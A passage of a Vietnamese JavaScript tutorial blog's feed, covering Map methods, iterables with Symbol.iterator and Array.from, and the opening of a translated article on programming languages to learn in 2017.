height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Map trong JavaScript là một loại object dùng để lưu trữ dữ liệu theo kiểu <strong>key-value</strong>, nhưng Map khác object ở một số điểm sau:</p> <ul> <li>Map cho phép <strong>key</strong> thuộc bất kỳ kiểu dữ liệu nào.</li> <li>Map có thuộc tính <strong>size</strong> và một số phương thức đặc trưng.</li> </ul> <p>Một số phương thức và thuộc tính của Map:</p> <ul> <li><code>new Map([iterable])</code>: khởi tạo Map với tham số là một iterable object (không bắt buộc) với mỗi phần tử có dạng <code>[key, value]</code>.</li> <li><code>map.set(key, value)</code>: lưu <code>value</code> bởi <code>key</code> và trả về <code>map</code>.</li> <li><code>map.get(key)</code>: trả về <code>value</code> bởi <code>key</code>, nếu <code>key</code> không tồn tại thì trả về <code>undefined</code>.</li> <li><code>map.has(key)</code>: trả về <code>true</code> nếu <code>key</code> tồn tại, ngược lại thì trả về <code>false</code>.</li> <li><code>map.delete(key)</code>: xóa giá trị ứng với <code>key</code> và trả về <code>true</code> nếu <code>key</code> tồn tại, ngược lại thì trả về <code>false</code>.</li> <li><code>map.clear()</code>: xóa tất cả các phần tử trong <code>map</code>.</li> <li><code>map.size</code>: trả về số phần tử hiện tại có trong <code>map</code>.</li> </ul> <p><strong>Tham khảo</strong>:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map - MDN</a></li> <li><a href="https://javascript.info/map-set">Map and Set</a></li> <li><a href="https://flaviocopes.com/javascript-data-structures-map/">The Map JavaScript Data Structure</a></li> </ul>[email protected]<![CDATA[Iterable là gì? Iterable trong JavaScript]]><![CDATA[Iterable trong JavaScript là một khái niệm liên quan đến array. Một object gọi là iterable nếu object đó sử dụng được với vòng lặp for...of. Dĩ nhiên, array là iterable. Ngoài ra…]]>https://completejavascript.com/iterable-la-gi-iterable-trong-javascript/https://completejavascript.com/iterable-la-gi-iterable-trong-javascript/<![CDATA[Array]]><![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Sat, 03 Jun 2017 09:49:44 GMT<p><strong>Iterable trong JavaScript</strong> là một khái niệm liên quan đến array. Một object gọi là <strong>iterable</strong> nếu object đó sử dụng được với <a href="/array-la-gi-array-trong-javascript/#duy%E1%BB%87t-t%E1%BA%A5t-c%E1%BA%A3-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-trong-m%E1%BA%A3ng">vòng lặp <code>for...of</code></a>.</p> <p>Dĩ nhiên, array là iterable. Ngoài ra, JavaScript còn có nhiều kiểu object khác cũng <strong>iterable</strong>, ví dụ: <a href="/ban-biet-gi-ve-set-trong-javascript/">Set</a>, <a href="/map-trong-javascript-thi-sao/">Map</a>, String,...</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// array là iterable</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> it <span class="token keyword">of</span> arr<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>it<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Kết quả lần lượt là: 1, 2, 3</span> <span class="token punctuation">}</span> <span class="token comment">// string là iterable</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> ch <span class="token keyword">of</span> str<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Kết quả lần lượt là: h, e, l, l, o</span> <span class="token punctuation">}</span></code></pre></div> <p>Sau đây, mình hãy cùng tìm hiểu xem <strong>iterable trong JavaScript</strong> hoạt động thế nào nhé!</p> <h2 id="symboliterator" style="position:relative;"><a href="#symboliterator" aria-label="symboliterator permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol.iterator</h2> <p>Để hiểu rõ về iterable trong JavaScript, mình sẽ thử <strong>tự triển khai iterable</strong>.</p> <p>Ví dụ object <code>range</code> sau đây (mặc định không dùng được với <code>for...of</code>):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> range <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">to</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> num <span class="token keyword">of</span> range<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Uncaught TypeError: range is not iterable</span></code></pre></div> <p>Để object <code>range</code> trên trở nên <strong>iterable</strong>, mình cần triển khai một <a href="/phuong-thuc-object-va-this-trong-javascript/">phương thức</a> với key là <code>Symbol.iterator</code>. Đây là một <a href="/tim-hieu-ve-symbol-trong-javascript/">Symbol</a> đặc biệt và sẵn có trong JavaScript.</p> <p>Khi đó, quá trình xử lý của <code>for...of</code> như sau:</p> <ol> <li>Ban đầu, <code>for...of</code> gọi phương thức <code>Symbol.iterator</code>. Nếu phương thức <strong>không tồn tại thì báo lỗi</strong>, ngược lại thì trả về một object, gọi là <code>iterator</code> - object có phương thức <code>next</code>.</li> <li>Tiếp theo, <code>for...of</code> hoạt động hoàn toàn dựa trên đối tượng <code>iterator</code> trên.</li> <li>Khi <code>for...of</code> muốn giá trị tiếp theo, nó chỉ cần gọi phương thức <code>next</code> của iterator.</li> <li>Kết quả của <code>next</code> phải là một object có dạng <code>{done: Boolean, value: any}</code>. Nếu <code>done=true</code> thì quá trình xử lý kết thúc, ngược lại thì <code>value</code> chính là giá trị tiếp theo.</li> </ol> <p>Sau đây là cách triển khai phương thức <code>Symbol.iterator</code> cho đối tượng <code>range</code> trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> range <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">to</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token comment">// phương thức `Symbol.iterator`</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>iterator<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức này trả về một iterator object - object có phương thức next</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">current</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>from<span class="token punctuation">,</span> <span class="token literal-property property">last</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>to<span class="token punctuation">,</span> <span class="token comment">// khi for...of cần giá trị tiếp theo thì nó sẽ gọi phương thức next</span> <span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức next trả về object dạng: {done:..., value:...}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>current <span class="token operator">&lt;=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>last<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// done=false là chưa kết thúc</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">done</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>current<span class="token operator">++</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// done=true là kết thúc</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">done</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Bây giờ thì range có thể hoạt động được với for...of</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> num <span class="token keyword">of</span> range<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1, 2, 3, 4, 5</span> <span class="token punctuation">}</span></code></pre></div> <p>Đó chính là cách triển khai một object iterable trong JavaScript.</p> <h2 id="gọi-iterator-trực-tiếp" style="position:relative;"><a href="#g%E1%BB%8Di-iterator-tr%E1%BB%B1c-ti%E1%BA%BFp" aria-label="gọi iterator trực tiếp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gọi iterator trực tiếp</h2> <p>Để hiểu rõ hơn về iterable trong JavaScript, mình sẽ thử <strong>gọi iterator trực tiếp</strong> mà không sử dụng <code>for...of</code>.</p> <p>Ví dụ sau đây duyệt hết các kí tự ở string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token comment">// gọi phương thức [Symbol.iterator]()</span> <span class="token comment">// phương thức này trả về đối tượng iterator chứa phương thức next()</span> <span class="token keyword">let</span> iterator <span class="token operator">=</span> str<span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>iterator<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng vòng lặp while(true) để duyệt</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// gọi phương thức next() để lấy giá trị kế tiếp</span> <span class="token comment">// phương thức next() trả về đối tượng có dạng {done:..., value:...}</span> <span class="token keyword">let</span> result <span class="token operator">=</span> iterator<span class="token punctuation">.</span><span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kiểm tra nếu done=true thì break để kết thúc</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span>done<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token comment">// ngược lại thì in ra giá trị value</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">H e l l o</code></pre></div> <p>Trên đây là cách hoạt động của iterable trong JavaScript.</p> <p>Mặc dù, việc gọi trực tiếp như này hầu như không bao giờ áp dụng trong thực tế. Nhưng qua đó, bạn hiểu được <strong>cách hoạt động của iterable object</strong> khi duyệt với <code>for...of</code>.</p> <h2 id="so-sánh-iterable-trong-javascript-và-array-like" style="position:relative;"><a href="#so-s%C3%A1nh-iterable-trong-javascript-v%C3%A0-array-like" aria-label="so sánh iterable trong javascript và array like permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh iterable trong JavaScript và array-like</h2> <p>Đây là hai khái niệm <strong>khá giống nhau</strong> nhưng thật sự rất khác biệt.</p> <ul> <li>Iterable object là object có phương thức <code>Symbol.iterator</code> (như miêu tả bên trên).</li> <li>Array-like là object có chứa <strong>chỉ số</strong> và thuộc tính <code>length</code> (giống mảng).</li> </ul> <p>Trong JavaScript có nhiều object - có thể là iterable hoặc array-like hoặc cả hai.</p> <p>Ví dụ, string vừa là <strong>iterable</strong> (hoạt động được với <code>for...of</code>) và vừa là <strong>array-like</strong> (có chỉ số và thuộc tính <code>length</code>).</p> <p>Nhìn chung, <strong>iterable và array-like không phải array</strong> nên chúng không có các <a href="/phuong-thuc-cua-mang-trong-javascript/">phương thức của mảng</a> như <code>push</code>, <code>pop</code>, <code>forEach</code>,...</p> <p>Để giải quyết vấn đề này, bạn cần phải <strong>chuyển đổi kiểu dữ liệu</strong> từ iterable hoặc array-like sang array.</p> <h2 id="phương-thức-arrayfrom" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-arrayfrom" aria-label="phương thức arrayfrom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>Array.from</code></h2> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from"><code>Array.from</code></a> nhận đầu vào là iterable object hoặc array-like và trả về một array.</p> <p>Ví dụ tạo array từ array-like:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arrayLike <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token literal-property property">length</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> arr <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>arrayLike<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">pop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// b</span></span></code></pre></div> <p>Ví dụ tạo array từ iterable <code>range</code> bên trên:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> range <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">from</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">to</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token comment">// phương thức `Symbol.iterator`</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>iterator<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức này trả về một iterator object - object có phương thức next</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">current</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>from<span class="token punctuation">,</span> <span class="token literal-property property">last</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>to<span class="token punctuation">,</span> <span class="token comment">// khi for...of cần giá trị tiếp theo thì nó sẽ gọi phương thức next</span> <span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức next trả về object dạng: {done:..., value :...}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>current <span class="token operator">&lt;=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>last<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// done=false là chưa kết thúc</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">done</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>current<span class="token operator">++</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// done=true là kết thúc</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">done</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> arr <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>range<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) [1, 2, 3, 4, 5]</span></span></code></pre></div> <p>Cú pháp đầy đủ của <code>Array.from</code> cho phép bạn truyền vào một hàm "mapping":</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>obj<span class="token punctuation">[</span><span class="token punctuation">,</span> mapFn<span class="token punctuation">,</span> thisArg<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham số thứ hai <code>mapFn</code> là một hàm được sử dụng để <strong>gọi với mỗi phần tử</strong> trước khi đưa vào mảng. Và <code>thisArg</code> tương ứng với <code>this</code> trong hàm <code>mapFn</code>. ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// đối tượng range được định nghĩa như ví dụ trên</span> <span class="token comment">// hàm mapping trả về bình phương của số num</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>range<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token operator">=></span> num <span class="token operator">*</span> num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) [1, 4, 9, 16, 25]</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p><strong>Iterable trong JavaScript</strong> là object có thể sử dụng được với vòng lặp <code>for...of</code>.</p> <ul> <li>Về cơ bản, iterable object phải có phương thức <code>Symbol.iterator</code>. <ul> <li>Kết quả của việc gọi phương thức <code>obj[Symbol.iterator]()</code> là một object <strong>iterator</strong>. Đây là object chịu tránh nhiệm trong việc <strong>duyệt iterable object</strong>.</li> <li><strong>Iterator object</strong> phải có phương thức <code>next</code>. Và phương thức <code>next()</code> trả về đối tượng có dạng <code>{done: Boolean, value: Any}</code>. Với <code>done=true</code> khi kết thúc quá trình duyệt, ngược lại thì <code>value</code> là giá trị kế tiếp.</li> </ul> </li> <li>Phương thức <code>Symbol.iterator</code> được gọi từ <code>for...of</code>, nhưng cũng có thể gọi trực tiếp không qua <code>for...of</code>.</li> <li><strong>Iterable và array-like khá giống nhau</strong>, nhưng đều không phải là <code>array</code>.</li> <li>Có thể dùng phương thức <code>Array.from</code> để tạo array mới từ iterable object hoặc array-like.</li> </ul> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li> <li><a href="https://javascript.info/iterable">Iterables</a></li> </ul>[email protected]<![CDATA[Những ngôn ngữ lập trình nên học năm 2017]]><![CDATA[Bài viết sau được dịch từ simpleprogrammer.com bởi tác giả John Sonmez về top những ngôn ngữ lập trình nên học năm 2017. Bạn có thể đọc bản gốc bài viết bằng tiếng anh tại đây…]]>https://completejavascript.com/nhung-ngon-ngu-lap-trinh-nen-hoc-nam-2017/https://completejavascript.com/nhung-ngon-ngu-lap-trinh-nen-hoc-nam-2017/<![CDATA[Dịch blog]]>Sat, 03 Jun 2017 00:41:10 GMT<p>Bài viết sau được dịch từ <a href="http://simpleprogrammer.com/">simpleprogrammer.com</a> bởi tác giả <a href="https://simpleprogrammer.com/about-simple-programmer/">John Sonmez</a> về top những ngôn ngữ lập trình nên học năm 2017. Bạn có thể đọc bản gốc bài viết bằng tiếng anh tại <a href="https://simpleprogrammer.com/top-programming-languages-learn-2017/">đây</a>. Trong trường hợp, tiếng anh của bạn chưa đủ hoặc đơn giản là bạn ngại mở máy tính để tra từ điển thì xin mời đọc bản dịch của tôi sau đây.</p> <p><strong>Chú ý</strong>: Sau đây, "tôi" chính là John Sonmez, không phải <a href="/gioi-thieu/">tác giả</a> blog <a href="/">Complete JavaScript</a>.</p> <p>Rất nhiều người hỏi tôi về ngôn ngữ lập trình mà họ nên học. Tôi cảm thấy hơi bí vì đây là một câu hỏi rất khó để trả lời. Có nhiều thứ quan trọng cần phải cân nhắc trước khi đưa ra quyết định. Đặc biệt là liên quan đến ngôn ngữ lập trình mà bạn nên học.</p> <p>Một trong những cách dễ nhất để quyết định xem ngôn ngữ lập trình mà bạn nên học năm 2017 là tìm hiểu và lắng nghe thị trường. Thị trường chắc chắn sẽ nói cho bạn biết về ngôn ngữ lập trình nào sẽ là xu hướng cho tương lai.</p> <p>Vậy, bạn biết như thế nào về ngôn ngữ lập trình được mong muốn nhất trong năm 2017?</p> <p>Dựa theo nghiên cứu của tôi, sau đây là những ngôn ngữ lập trình bạn nên tập trung trong năm 2017:</p> <ul> <li>JavaScript</li> <li>Python</li> <li>Elixir</li> <li>Rust</li> <li>Swift</li> </ul> <p>Bạn có đồng ý với tôi không? Suy nghĩ của bạn là gì? Hãy để lại bình luận dưới video sau:</p> <p><div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.515151515151516%; position: relative; height: 0; overflow: hidden; " > <div class="embedVideo-container"> <iframe title="" src="https://www.youtube.com/embed/R4hNmWvFcxo?rel=0" class="embedVideo-iframe" style="border:0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " loading="eager" allowfullscreen="" sandbox="allow-same-origin allow-scripts allow-popups"></iframe> </div> </div></p> <h2 id="góc-bình-luận" style="position:relative;"><a href="#g%C3%B3c-b%C3%ACnh-lu%E1%BA%ADn" aria-label="góc bình luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Góc bình luận</h2> <p><em>(Phần này sẽ là tôi - Lam Pham, không phải là John Sonmez)</em></p> <p>Anh John Sonmez đề cập tới 2 lớp lập trình viên: người mới bắt đầu - chưa biết gì về lập trình hoặc biết rất ít và những người có kinh nghiệm về lập trình - đã biết một hay nhiều ngôn ngữ lập trình.</p> <h3 id="đối-với-những-lập-trình-viên-mới" style="position:relative;"><a href="#%C4%91%E1%BB%91i-v%E1%BB%9Bi-nh%E1%BB%AFng-l%E1%BA%ADp-tr%C3%ACnh-vi%C3%AAn-m%E1%BB%9Bi" aria-label="đối với những lập trình viên mới permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối với những lập trình viên mới</h3> <p>Nếu bạn chưa biết gì về lập trình thì bạn không nên chọn học một ngôn ngữ theo xu hướng. Cái mà bạn nên chọn là một ngôn ngữ lập trình "có truyền thống lâu đời". Nghĩa là nếu biết ngôn ngữ lập trình này thì bạn sẽ luôn luôn có cơ hội xin việc hay bạn dễ dàng hơn để học những ngôn ngữ lập trình khác.</p> <p>Theo John Sonmez, ngôn ngữ lập trình nên học đầu tiên là Java, sau đó C#, C++ và tiếp theo là JavaScript.</p> <h4 